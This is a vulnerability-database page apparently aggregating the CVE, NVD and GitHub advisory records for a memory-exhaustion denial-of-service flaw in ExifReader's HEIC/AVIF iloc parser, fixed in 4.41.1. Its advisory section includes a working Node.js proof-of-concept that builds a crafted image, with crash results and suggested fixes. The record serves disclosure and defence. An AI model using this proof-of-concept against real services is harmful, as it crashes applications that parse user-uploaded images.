CVE-2026-85715 (GCVE-0-2026-85715)
Vulnerability from cvelistv5 – Published: 2026-09-17 15:33 – Updated: 2026-09-17 15:54
VLAI
EPSS
VEX
Title
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Summary
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
Severity
7.5 (High)
SSVC
Exploitation: poc
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-17 15:54 UTC
CWE
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://github.com/mattiasw/ExifReader/security/a… | x_refsource_CONFIRM |
| https://github.com/mattiasw/ExifReader/commit/17b… | x_refsource_MISC |
| https://github.com/mattiasw/ExifReader/releases/t… | x_refsource_MISC |
Impacted products
1 product
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| mattiasw | ExifReader |
Affected:
< 4.41.1
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-85715",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T15:54:11.744033Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:54:27.224Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "ExifReader",
"vendor": "mattiasw",
"versions": [
{
"status": "affected",
"version": "\u003c 4.41.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-789",
"description": "CWE-789: Memory Allocation with Excessive Size Value",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:33:02.213Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
},
{
"name": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
},
{
"name": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
}
],
"source": {
"advisory": "GHSA-pj96-35fp-cfcc",
"discovery": "UNKNOWN"
},
"title": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-85715",
"datePublished": "2026-09-17T15:33:02.213Z",
"dateReserved": "2026-09-04T14:45:10.647Z",
"dateUpdated": "2026-09-17T15:54:27.224Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"nvd": {
"cve": {
"affected": [
{
"affectedData": [
{
"product": "ExifReader",
"vendor": "mattiasw",
"versions": [
{
"status": "affected",
"version": "\u003c 4.41.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1."
}
],
"id": "CVE-2026-85715",
"lastModified": "2026-09-17T16:18:15.790",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-85715",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T15:54:11.744033Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-09-17T16:18:15.790",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Received",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-789"
},
{
"lang": "en",
"value": "CWE-835"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
},
"vulnrichment": {
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-85715",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T15:54:11.744033Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:54:23.091Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "ExifReader",
"vendor": "mattiasw",
"versions": [
{
"status": "affected",
"version": "\u003c 4.41.1"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-789",
"description": "CWE-789: Memory Allocation with Excessive Size Value",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-835",
"description": "CWE-835: Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-17T15:33:02.213Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
},
{
"name": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
},
{
"name": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
}
],
"source": {
"advisory": "GHSA-pj96-35fp-cfcc",
"discovery": "UNKNOWN"
},
"title": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-85715",
"datePublished": "2026-09-17T15:33:02.213Z",
"dateReserved": "2026-09-04T14:45:10.647Z",
"dateUpdated": "2026-09-17T15:54:27.224Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-85715
Vulnerability from fkie_nvd - Published: 2026-09-17 16:18 - Updated: 2026-09-17 16:18
Severity
Summary
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
References
Impacted products
| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "ExifReader",
"vendor": "mattiasw",
"versions": [
{
"status": "affected",
"version": "\u003c 4.41.1"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1."
}
],
"id": "CVE-2026-85715",
"lastModified": "2026-09-17T16:18:15.790",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-85715",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-17T15:54:11.744033Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-09-17T16:18:15.790",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Received",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-789"
},
{
"lang": "en",
"value": "CWE-835"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
GHSA-PJ96-35FP-CFCC
Vulnerability from github – Published: 2026-09-17 16:30 – Updated: 2026-09-17 16:30
VLAI
Summary
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Details
Summary
ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
Affected version tested
- npm package:
exifreader - Version:
4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)
Root cause
File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls |
|---|---|
offsetSize |
Bytes per extent offset |
lengthSize |
Bytes per extent length |
baseOffsetSize |
Bytes per item base offset |
indexSize |
Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
for (let j = 0; j < item.extentCount; j++) {
const extent = {};
extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
offset += sizes.item.extent.extentIndex; // 0 when indexSize=0
extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0
extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
offset += sizes.item.extent.extentLength; // 0 when lengthSize=0
item.extents.push(extent); // allocates unconditionally
}
When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.
Reproduction
Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:
const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
return [(n >>> 8) & 255, n & 255];
}
function str(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
return [...u32be(8 + content.length), ...str(type), ...content];
}
const ITEMS = 10000;
const EXTENTS = 65535;
const ftyp = box('ftyp', [
...str('heic'),
...u32be(0),
...str('mif1'),
0, 0, 0, 0,
]);
const ilocPayload = [
0, 0, 0, 0,
0, 0,
...u16be(ITEMS),
];
for (let i = 0; i < ITEMS; i++) {
ilocPayload.push(...u16be(i + 1));
ilocPayload.push(...u16be(0));
ilocPayload.push(...u16be(EXTENTS));
}
const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);
fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);
console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);
const start = Date.now();
const timeout = setTimeout(() => {
console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
process.exit(1);
}, 30000);
try {
ExifReader.load(data.buffer);
clearTimeout(timeout);
console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
clearTimeout(timeout);
console.log(`Error: ${e.message}`);
}
Scaled test results
Run the above with different ITEMS values:
| Items | File size | Extent objects | Parse time | Heap growth |
|---|---|---|---|---|
| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |
| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |
| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |
| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |
| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |
Expected behavior
A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either: 1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or 2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).
Security impact
This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.
Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.
Suggested fix
In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:
const MAX_EXTENTS_PER_ITEM = 10000;
for (let j = 0; j < item.extentCount; j++) {
if (item.extents.length >= MAX_EXTENTS_PER_ITEM) {
break;
}
// ... existing code ...
}
Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:
if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) {
// Fields are absent per spec; nothing meaningful to read
// Still advance offset if extentCount > 0 to maintain correctness
continue;
}
Severity
7.5 (High)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.41.0"
},
"package": {
"ecosystem": "npm",
"name": "exifreader"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.41.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-85715"
],
"database_specific": {
"cwe_ids": [
"CWE-789",
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T16:30:00Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious `iloc` box. When `offsetSize`, `lengthSize`, and `baseOffsetSize` are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to `itemCount \u00d7 extentCount` (65535 \u00d7 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.41.0`\n- Affected formats: HEIC, AVIF (ISO-BMFF container)\n\n## Root cause\n\n**File:** `src/image-header-iso-bmff-iloc.js`, lines 79\u2013116, function `getItems()`.\n\nThe iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0\u201315):\n\n| Field | Controls |\n|-------|----------|\n| `offsetSize` | Bytes per extent offset |\n| `lengthSize` | Bytes per extent length |\n| `baseOffsetSize` | Bytes per item base offset |\n| `indexSize` | Bytes per extent index |\n\nThe code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:\n\n```javascript\nfor (let j = 0; j \u003c item.extentCount; j++) {\n const extent = {};\n extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);\n offset += sizes.item.extent.extentIndex; // 0 when indexSize=0\n extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);\n offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0\n extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);\n offset += sizes.item.extent.extentLength; // 0 when lengthSize=0\n item.extents.push(extent); // allocates unconditionally\n}\n```\nWhen all four size fields are zero (a valid value per the ISO-BMFF specification, meaning \"field not present\"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto `item.extents`. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.\n\n## Reproduction\n\nSave the following as `poc_iloc_dos.js` and run with Node.js against the bundled `dist/exif-reader.js`:\n\n```javascript\nconst fs = require(\u0027fs\u0027);\nconst ExifReader = require(\u0027../ExifReader-4.41.0/dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction u16be(n) {\n return [(n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction str(s) {\n return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content) {\n return [...u32be(8 + content.length), ...str(type), ...content];\n}\n\nconst ITEMS = 10000;\nconst EXTENTS = 65535;\n\nconst ftyp = box(\u0027ftyp\u0027, [\n ...str(\u0027heic\u0027),\n ...u32be(0),\n ...str(\u0027mif1\u0027),\n 0, 0, 0, 0,\n]);\n\nconst ilocPayload = [\n 0, 0, 0, 0,\n 0, 0,\n ...u16be(ITEMS),\n];\n\nfor (let i = 0; i \u003c ITEMS; i++) {\n ilocPayload.push(...u16be(i + 1));\n ilocPayload.push(...u16be(0));\n ilocPayload.push(...u16be(EXTENTS));\n}\n\nconst iloc = box(\u0027iloc\u0027, ilocPayload);\nconst meta = box(\u0027meta\u0027, [0, 0, 0, 0, ...iloc]);\nconst data = Uint8Array.from([...ftyp, ...meta]);\n\nfs.writeFileSync(\u0027/tmp/poc_iloc_dos.heic\u0027, data);\n\nconsole.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);\n\nconst start = Date.now();\nconst timeout = setTimeout(() =\u003e {\n console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);\n process.exit(1);\n}, 30000);\n\ntry {\n ExifReader.load(data.buffer);\n clearTimeout(timeout);\n console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);\n} catch (e) {\n clearTimeout(timeout);\n console.log(`Error: ${e.message}`);\n}\n\n```\n\n### Scaled test results\nRun the above with different ITEMS values:\n\n| Items | File size | Extent objects | Parse time | Heap growth |\n|-------|-----------|---------------|------------|-------------|\n| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |\n| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |\n| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |\n| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |\n| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |\n\u003cimg width=\"1839\" height=\"588\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc3bd540-4197-4ada-93c9-3397811a6c02\" /\u003e\n\n\n## Expected behavior\n\nA zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:\n1. Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or\n2. Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).\n\n## Security impact\n\nThis is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.\n\n**Note:** The impact is established using ExifReader\u0027s existing distributed (`dist/exif-reader.js`) code.\n\n## Suggested fix\n\nIn `src/image-header-iso-bmff-iloc.js`, in the `getItems()` function, add a maximum per-item extent limit:\n\n```javascript\nconst MAX_EXTENTS_PER_ITEM = 10000;\n\nfor (let j = 0; j \u003c item.extentCount; j++) {\n if (item.extents.length \u003e= MAX_EXTENTS_PER_ITEM) {\n break;\n }\n // ... existing code ...\n}\n```\n\nAlternatively (or additionally), skip the inner loop when all extent field sizes are zero:\n\n```javascript\nif (sizes.item.extent.extentOffset === 0 \u0026\u0026 sizes.item.extent.extentLength === 0) {\n // Fields are absent per spec; nothing meaningful to read\n // Still advance offset if extentCount \u003e 0 to maintain correctness\n continue;\n}\n```",
"id": "GHSA-pj96-35fp-cfcc",
"modified": "2026-09-17T16:30:00Z",
"published": "2026-09-17T16:30:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc"
},
{
"type": "WEB",
"url": "https://github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattiasw/ExifReader"
},
{
"type": "WEB",
"url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.41.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
